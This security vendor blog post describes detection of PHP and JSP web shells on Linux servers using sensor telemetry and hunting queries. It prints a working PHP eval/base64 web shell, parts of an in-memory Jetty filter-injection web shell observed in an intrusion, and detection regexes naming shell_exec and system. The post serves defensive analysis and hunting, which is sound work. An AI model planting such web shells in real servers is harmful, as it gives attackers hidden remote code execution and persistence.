Advanced Web Shell Detection and Prevention: A Deep Dive into CrowdStrike's Linux Sensor Capabilities

Web shells remain one of the most potent weapons in an adversary’s arsenal, particularly when targeting Linux servers and containers. These malicious scripts serve as powerful remote access tools with capabilities such as process execution, filesystem access, and tunneling of network connections.

Web shells are frequently used in the exploitation of Linux servers and containers and often are undetected for months or even years, giving adversaries persistent access. Adversaries are using obfuscation techniques and in-memory variants, and modifying legitimate scripts to evade traditional security controls. The stakes are particularly high for organizations running business-critical web applications, where a single successful web shell deployment can lead to data exfiltration or lateral movement, or serve as a launching pad for ransomware attacks.

CrowdStrike has recently released enhancements for the CrowdStrike Falcon® sensor on Linux platforms to provide better visibility of PHP web shells, particularly with features to detect pre-existing and obfuscated web shells. This complements the Falcon sensor’s powerful “On write script file visibility” feature, which has directly led to the detection of 492 web shells in a three-month period by the CrowdStrike Falcon® Adversary OverWatch™ threat hunting team.

On Write Script File Visibility

The “On write script file visibility” feature provides visibility of script files as they are written to the file system. This approach is superior to traditional scanning methods because the Falcon Linux sensor is aware of the context and content of the script that is written, as well as its behavior (activity performed by the script). This is useful for the identification and analysis of malicious scripts in general, but it is particularly useful for web shells. The Falcon platform is aware when web script content is written by frequently exploited processes such as web servers and SQL service processes. This approach leads to greater detection efficacy and identification of even previously unknown web shells.

While investigating an incident, “On write script file visibility” gives security teams a more complete picture of an adversary’s actions. For example, knowing an adversary only used the openly available tunneling web shell Suo5 indicates they gained tunneling capabilities but not process execution to a server.

Enhance PHP Visibility

Enhance PHP visibility,” the Falcon platform’s visibility enhancement, provides enhanced script control for existing files and events for dynamically executed code. PHP web shells such as Chopper dynamically evaluate code using the eval function, with the web shell client supplying the code to execute. Obfuscated PHP web shells frequently make use of the eval function or variations such as assert and create_function.

<?php
if (isset($_POST['cmd'])) {
   eval(base64_decode($_POST['cmd']));
}
?>

Figure 1. A basic web shell using eval and base64_decode

With this feature enabled, use of the PHP eval function now results in the event PhpEvalString, including the script content to be executed. This gives security teams additional hunting opportunities and provides superior visibility when investigating intrusions that use PHP web shells.

 {
  "#event_simpleName": "PhpEvalString",
  "PhpEvalContent": "echo shell_exec(\"whoami\");"
}

Figure 2. Key fields from PhpEvalString event showing the eval content

Observations from the Field

Falcon Adversary OverWatch has observed a number of adversaries targeting Zimbra mail servers, often with the use of web shells and other backdoors. This is consistent with adversaries frequently targeting Microsoft Exchange and other similar software that processes large quantities of sensitive data.

With “On write script visibility,” Falcon Adversary OverWatch identified an adversary placing a sophisticated web shell onto a targeted Zimbra host. The adversary wrote a temporary malicious JSP file to the file system, which the Falcon sensor provided visibility of. The JSP file uses Java reflection to call an internal Jetty API to add a new filter for a URL not usually present in Zimbra. Here, the filter “CheckMails” would execute malicious Java code contained in the adversary’s staged JAR file.

String filterName = "CheckMails";
String loadClass = "com.zimbra.webClient.filters.CheckMails";
String urlPattern = "/<redacted>";
String jarPath = "<redacted>.jar";

// [...truncated for brevity...]

// The malicious filter is loaded into memory
filter = (Filter)loadMyJar(webAppContext, threadClassLoader, jarPath, loadClass);

// [...truncated for brevity...]

// The filter is added to the target `servletHandler` using the newFilterHolder() API
try {
    sourceClazz = classLoader.loadClass("org.eclipse.jetty.servlet.Source");
    field = sourceClazz.getDeclaredField("JAVAX_API");
    Method method = servletHandler.getClass().getMethod("newFilterHolder", sourceClazz);
    holder = method.invoke(servletHandler, field.get(null));
} catch(ClassNotFoundException e) {
    sourceClazz = classLoader.loadClass("org.eclipse.jetty.servlet.BaseHolder$Source");
    Method method = servletHandler.getClass().getMethod("newFilterHolder", sourceClazz);
    holder = method.invoke(servletHandler, Enum.valueOf(sourceClazz, "JAVAX_API"));
}

holder.getClass().getMethod("setName", String.class).invoke(holder, filterName);
holder.getClass().getMethod("setFilter", Filter.class).invoke(holder, filter);
servletHandler.getClass().getMethod("addFilter", holder.getClass()).invoke(servletHandler, holder);

// The filter is mapped to execute on paths matching `urlPattern` using FilterMapping() 
Class clazz = classLoader.loadClass("org.eclipse.jetty.servlet.FilterMapping");
Object filterMapping = clazz.newInstance();
Method method = filterMapping.getClass().getDeclaredMethod("setFilterHolder", holder.getClass());
method.setAccessible(true);
method.invoke(filterMapping, holder);
filterMapping.getClass().getMethod("setPathSpecs", String[].class).invoke(filterMapping, new Object[] {
    new String[] { urlPattern }
})

Figure 3. Sophisticated JSP web shell

This technique allowed the adversary to remove their malicious files from the file system and operate only in-memory. 

We have observed similar techniques under sophisticated .NET post-exploitation frameworks running under IIS, but this appears to be novel tradecraft under Java-based web servers.

Investigating Web Shell Detections in the Falcon Console

When a web shell detection appears in the Falcon console, analysts can quickly gain additional context using the “Investigate event” feature.

Figure 4. PHP web shell detection in the Falcon console Figure 4. PHP web shell detection in the Falcon console
Clicking “Investigate event” automatically redirects to the Advanced event search with a pre-populated query scoped to the affected process.
Figure 5. Detail page of web shell detection in the Falcon console Figure 5. Detail page of web shell detection in the Falcon console
This query will show all events related to that process, including events from “On write script visibility” and “Enhance PHP visibility” features.
Figure 6. Advanced event search with a pre-populated query Figure 6. Advanced event search with a pre-populated query

We can further filter this down to investigate the disk operation shown in the detection by appending #event_simpleName to the pre-populated query:

aid=120da82da60d444d90dbc4f70df11660 (TargetProcessId=1761176184180866943 OR ContextProcessId=1761176184180866943) #event_simpleName=/ScriptControl|PhpExecuteScript|PhpBase64Decode|PhpEvalString|NewScriptWritten/

Figure 7. Falcon LogScale query filtering for web shell-related events

This query results in multiple correlated events that allow the analyst to investigate the detection:

#event_simpleName: NewScriptWritten

This event will show the full path and file name of the script written to disk, along with the process that wrote the script.

{
  "#event_simpleName": "NewScriptWritten",
  "ContextBaseFileName": "apache2",
  "FileName": "cache.php",
  "FilePath": "/var/www/html/uploads/"
}

Figure 8. Relevant fields from NewScriptWritten

#event_simpleName: ScriptControlDetectInfo

This event shows full contents of the script that triggered the detection along with the full process ancestry. We can see that the script content shown in this event does not decode the contents of the eval function.

{
  "#event_simpleName": "ScriptControlDetectInfo",
  "ScriptContent": "<?php [...trimmed for brevity...] eval(htmlspecialchars_decode(gzinflate(base64_decode($XtnR)))); ?>",
  "ImageFileName": "/usr/sbin/apache2"
}

Figure 9. ScriptContent from ScriptControlDetectInfo event

#event_simpleName: PhpExecuteScript

This event shows the PHP file that has been executed.

{
  "#event_simpleName": "PhpExecuteScript",
  "TargetFileName": "/var/www/html/uploads/cache.php"
}

Figure 10. TargetFileName shown in PhpExecuteScript event

#event_simpleName: PhpEvalString

This event shows the evaluated content from the eval function that was obfuscated within the original script content shown in Figure 8. This gives analysts immediate visibility into what the web shell does without manual deobfuscation.

{
  "#event_simpleName": "PhpEvalString", 
  "PhpEvalContent": "?><?php\nerror_reporting(0);\nhttp_response_code(404);\nfunction decrypt($encryptedData) { /* AES-256-CBC decryption */ }\nif (decrypt('jFmSkTCWn5zcll7d3dHObg')){ echo \"/7ZC2gHDStsE4z8Z0cifN3B+C/UO2vClZymoftbo/scHScvWfgNerZjP2hTO3Obd\"; exit; }\n$auth_key = \"5a8c9a20daaef1947b0e9dee69622dc8\";\n/* User-agent filtering and authentication logic */\n[...trimmed for brevity...]"
}

Figure 11. Decoded eval content in PhpEvalString event

Threat Hunting Queries

The following CrowdStrike Falcon® Next-Gen SIEM Advanced Event Search queries are provided as an example for defenders to hunt for web shells using “On write script visibility” and “Enhance PHP visibility.” The queries are looking for some commonly used functions used by web shells to perform process execution.

event_platform=Lin #event_simpleName=/ScriptControlScanInfo|ScriptControlDetectInfo/ ScriptContent=/(?<Match>(system|shell_exec)\s{0,16}\(.{0,32}\$_(GET|POST).{0,64})/iF
| case {
   ScriptContentSource = 1 | ScriptContentSource := "FILE WRITTEN";
   ScriptContentSource = 2 | ScriptContentSource := "SCRIPT EXECUTED";
   * ;
}
| select([@timestamp, #event_simpleName, ComputerName, ScriptContentSource, ScriptContentName, Match, ScriptContent])

Figure 12. Hunting query using ScriptControlScanInfo and ScriptControlDetectInfo events

event_platform=Lin #event_simpleName=PhpEvalString PhpEvalContent=/(?<Match>(system|shell_exec)\s{0,16}\(.{1,64})/iF
| select([@timestamp, ComputerName, Match, PhpEvalContent])

Figure 13. Hunting query using PhpEvalString events

Required Prevention Policy Setting

To gain complete visibility into web shells with the Falcon sensor, ensure these prevention policy settings are enabled:

  • File system visibility
  • On write script file visibility
  • Enhance PHP visibility

Conclusion

Web shells are used by adversaries in the exploitation and persistence phase of an intrusion and frequently bypass traditional security controls. The Falcon sensor for Linux has been enhanced to provide superior detection and visibility of web shells. We encourage security teams to ensure these features are enabled and are being used to hunt for even previously unknown web shells.